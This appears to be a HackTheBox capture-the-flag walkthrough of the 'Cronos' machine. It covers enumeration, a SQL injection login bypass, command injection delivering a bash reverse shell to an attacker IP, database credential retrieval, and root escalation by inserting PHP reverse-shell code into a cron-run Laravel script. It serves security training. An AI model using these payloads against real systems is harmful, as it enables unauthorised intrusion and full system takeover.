Cronos is a HackTheBox Medium difficulty machine that hosts an admin panel that is vulnerable to SQL Injection. Initial foothold involves submitting a crafted payload that bypasses authentication, leading to command injection via the web ping utility to spawn a shell as www-data. Privilege escalation is achieved by locating a root cron job that runs Laravel's artisan script. Because www-data has write permissions to this file, injecting a reverse shell command into the script grants full root access.
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O cronos.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-03 22:09 -0400 Nmap scan report for cronos.htb (10.129.227.211) Host is up (0.54s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Cronos |_http-server-header: Apache/2.4.18 (Ubuntu) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.37 seconds
Based on the results, port 80 is running a simple website on Apache 2.4.18. The website only has one simple page. Since I couldn't find any useful information on the website, I decided to run a directory scan to see if I could find any hidden files or directories.
1.1 Directory Enumeration
I used Gobuster for a directory scan to find any hidden files or directories, but I was unable to find anything useful that would help me to get a foothold in the target machine.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://cronos.htb [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: php,md,txt,html [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.php (Status: 200) [Size: 2319] css (Status: 301) [Size: 306] [--> http://cronos.htb/css/] js (Status: 301) [Size: 305] [--> http://cronos.htb/js/] robots.txt (Status: 200) [Size: 24]
1.2 Subdomain Discovery & Enumeration
Since I was not able to find any hidden directories, I turned to find any virtual hosts available. I used Gobuster's vhost scan mode, and I was able to find the admin.cronos.htb subdomain.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://cronos.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s [+] Append Domain: true [+] Exclude Hostname Length: false =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== admin.cronos.htb Status: 200 [Size: 1547]
After adding the subdomain to the /etc/hostsfile, I ran another Gobuster directory scan. This scan showed that some PHP files were available, but every file redirected back to the index page with a login form or ended up blank.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://admin.cronos.htb [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: php,md,txt,html [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.php (Status: 200) [Size: 1547] welcome.php (Status: 302) [Size: 439] [--> index.php] logout.php (Status: 302) [Size: 0] [--> index.php] config.php (Status: 200) [Size: 0] session.php (Status: 302) [Size: 0] [--> index.php]
2. 2. Initial Access & Foothold
The admin.cronos.htb subdomain has a login form as its index page. Since I couldn't find any useful information on how to gain initial access, I decided to test the login form with SQL injection payloads.
2.1 Authentication Bypass using SQL Injection
Since the web server used is Apache and the framework is Laravel, I guessed that the database used should be MySQL. I was able to find a list of SQL Injection payloads in the PayloadsAllTheThings GitHub Repository.
' OR 1 -- - payload on the username field worked and allowed me to log in successfully.
2.2 Command Injection & Initial Foothold
The admin panel had only 2 options: either to run the traceroute command or the ping command. The traceroute command does not seem to be working, but the ping command seems to be running and brought back an output to the screen.
I used Burp Suite proxy to capture the request, and it seems like the command is submitted from the frontend. So I updated the command to whoami to test whether I could execute the command successfully, and the result proved that I was able to execute arbitrary commands on the target machine.
I used command=whoami; /bin/bash+-c+'/bin/bash+-i+>%26+/dev/tcp/10.10.16.36/4444+0>%261' #&host=8.8.8.8 as the payload and set up a listener using Netcat to receive a reverse shell command as www-data.
nc -nvlp 4444 listening on [any] 4444 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.227.211] 57854 bash: cannot set terminal process group (1350): Inappropriate ioctl for device bash: no job control in this shell www-data@cronos:/var/www/admin$ whoami whoami www-data www-data@cronos:/var/www/admin$
The target machine had only one user, noulis, and I was able to access and retrieve the user flag as www-data.
www-data@cronos:/var/www/admin$ cat /home/noulis/user.txt
3. Privilege Escalation
Since I was able to access the user flag, the next step was to escalate privileges as the root user.
3.1 Database Rabbit Hole
Since the directory scan in the enumeration stage indicated the existence of a config.php file, I decided to inspect the file because in most cases, config files contain credentials.
I was able to retrieve some database credentials from the config file.
< ?php
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
define('DB_DATABASE', 'admin');
$db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>After logging into the database, I was able to retrieve the admin credentials. The password is hashed using MD5, so I used an online tool to crack the password.
mysql> select * from users; +----+----------+----------------------------------+ | id | username | password | +----+----------+----------------------------------+ | 1 | admin | 4f5fffa7b2340178a716e3832451e058 | +----+----------+----------------------------------+ 1 row in set (0.00 sec) # RESULT md5 hash: 4f5fffa7b2340178a716e3832451e058 Plaintext: 1327663704
Since humans are known to reuse credentials, I was hoping I could use these credentials to escalate privileges, but I was unable to use them.
3.2 Cron Job Hijacking & Privilege Escalation
Since the found credentials were not usable, I decided to download LinPeas for target machine enumeration and find potential privilege escalation pathways.
LinPeas flagged multiple possible kernel vulnerabilities.
Furthermore, LinPEas flagged a cron script that is running as root, but I have write access to the file as www-data.
I set up another listener using Netcat and edited the /var/www/laravel/artisan PHP script and added the following lines to the beginning of the script.
$sock=fsockopen("10.10.16.36",4447);
$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);
OR
#because PHP is using /bin/sh by default, so need to tell specifically to execute as a command using -c
exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.36/4447 0>&1'");nc -nvlp 4447 listening on [any] 4447 ... connect to [10.10.16.36] from (UNKNOWN) [10.129.227.211] 35018 /bin/sh: 0: can't access tty; job control turned off # whoami root # cat /root/root.txt
Congrats! We found both flags!
HTB Machine Completion
